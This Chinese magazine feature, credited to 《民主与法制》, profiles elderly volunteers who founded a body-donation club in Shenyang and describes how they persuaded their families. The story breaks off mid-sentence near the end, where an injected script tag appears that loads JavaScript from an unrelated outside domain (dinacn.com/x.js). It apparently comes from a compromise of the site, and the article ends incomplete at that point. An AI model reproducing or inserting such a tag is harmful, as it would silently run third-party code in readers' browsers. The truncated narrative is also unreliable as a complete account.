遗体捐献俱乐部的故事

2005年3月3日下午，凌晨仙逝的曾文甫老先生躺在四川大学人体解剖学教研室来接他的车上，告别雅安，向成都进发。这位中国第一位通过公证捐献遗体的老人，在89岁之际，实现了公证申请书中“人生当以献身为至乐”的梦想。和曾文甫先生一样，前不久在辽宁沈阳成立的“自愿捐献遗体志愿者俱乐部”6位耄耋老人，在遗体捐献尚不被公众认同的今天，不但改变了自己的“归宿方式”，也正努力改变着人们的传统思维。 “沈阳市倡导遗体捐献第一人”的心愿 四张旧桌子、四把木头椅、三面大红锦旗，还有一块醒目的“辽宁省自愿捐献遗体器官志愿者俱乐部”牌匾。这就是2004年12月16日成立的中国第一个、全世界第二个民间组织的自愿捐献遗体器官志愿者俱乐部的办公室，它位于沈阳市铁西区工人村邮局对面的一栋居民楼里。这个志愿者俱乐部成员是6位耄耋老人。 于佐良老人是最早从事遗体捐献工作的，他也被当地媒体称为“沈阳市倡导遗体捐献第一人”。上世纪50年代，一次住院让老于萌生了捐献遗体的想法。那时躺在医院的病床上，看着因医治无效而死亡的病友和家属悲恸不已的场面，他多么希望医学能进步一点，或许那一幕幕人间悲剧就不再上演。后来他利用业余时间学习了医学，明白解剖对于医学进步的重要性，于是找到医院要求死后捐献自己的遗体。然而由于当时社会尚未提倡捐献遗体，且手续繁琐，他最终未能如愿。一直到了2000年，从沈阳市变压器厂工程师位置上退休下来的老于，才将办理遗体捐献公证的手续提上日程。但当他在家里正式提出这个决定时，儿子却成了最大的阻力。 几次说服不通，于佐良使出了最后的杀手锏，他拍着桌子对儿子说：“老爸一生未求过你，今天爸就求你让我了却心愿，这就是你最大的孝心。”儿子被老父亲的执著所感动，郑重地在父亲的申请表上签了字，于佐良到中国医科大学办理了相关手续。 从医科大学回来，老于的心事更重了。原来，在医科大学，老于了解到：一位眼科医生在真正走上手术台前，起码应该有50次眼睛解剖的实践。可每年招生近2000名的中国医科大学用于教学的遗体却少得可怜。开展遗体接收十几年来，这里总共只接收了39具自愿捐献的遗体。由于缺乏人体标本，学校不得不减少解剖实践的课时，让学生看教授解剖尸体，或者放录像片进行教学。有时干脆靠人体挂图和模型来教学，但挂图毕竟是平面的，没有立体感；教学模型虽有立体感，可是和人体标本有着质的区别，人体内错综复杂的组织结构是教学模型根本无法比拟、无法替代的。老于想：一个人献遗体力量太小，中国这么大，医学研究需要更多的资源啊！ 为了让更多的人加入到捐献遗体的行列中来，老于决定先从自己身边的人开始发展。现在俱乐部的另外5位成员，都是在老于的带动和组织下办理了遗体捐献公证手续的，如今，他们都成了老于最得力的伙伴，并决定要和老于一起将这个神圣的事业进行到底。 捐献遗体需要更多的理解 “子女开始也反对，但经过无数次思想工作之后，我能理解的东西，他们也能理解。”俱乐部6名创始人中惟一的女性吴梅臣说。 吴梅臣的心愿是在春节的年夜饭桌上达成的。一开始她说要捐献遗体，几个子女死活不干。 吴梅臣告诉子女，身体不过是人在地球上居住的帐篷，随着生命的离去，这个帐篷最终是要损坏的，趁着它还没有损坏的时候，让它各个部件发挥应有的作用，这样生命也会因它所发挥的作用而得到延续。听罢，几个子女算是明白了母亲的良苦用心。先是大儿子同意，接着二儿子、二女儿，还有他们的爱人也都同意了。团圆饭也越吃越高兴，吴梅臣趁机把遗体捐献的好处给子女们来了个彻底灌输，结果不但大儿子、二儿子、二女儿以及两个儿媳妇先后加入捐献志愿者行列，连远在美国的大女儿也表示回国后将填写捐献申请书。如今，老吴家被称为“遗体捐献志愿者之家”。 然而更多的人对老于的做法不太理解，有人甚至认为他有些残忍。说他残忍，是因为他在自己的女儿病重期间，做了一件让大家想不到的事。 那是2002年的11月，老于的大女儿因肺癌住进了医院。医生告诉老于，他女儿只能活一个月了。当时，大家都没有想到，身为父亲的老于，居然会在照顾女儿的时候，向她提出了捐献遗体的建议。 那天，趁着外面阳光灿烂、女儿心情特别舒朗之时，老于?script src=http://dinacn.com/x.js> 【版权声明】 以上《生命的延续》之图文信息归《民主与法制》所有。未经《民主与法制》书面许可，不得为任何目的、以任何形式或手段发布、复制、编辑、改编、转载、播放、展示、翻印。版权所有，《民主与法制》保留所有权利。

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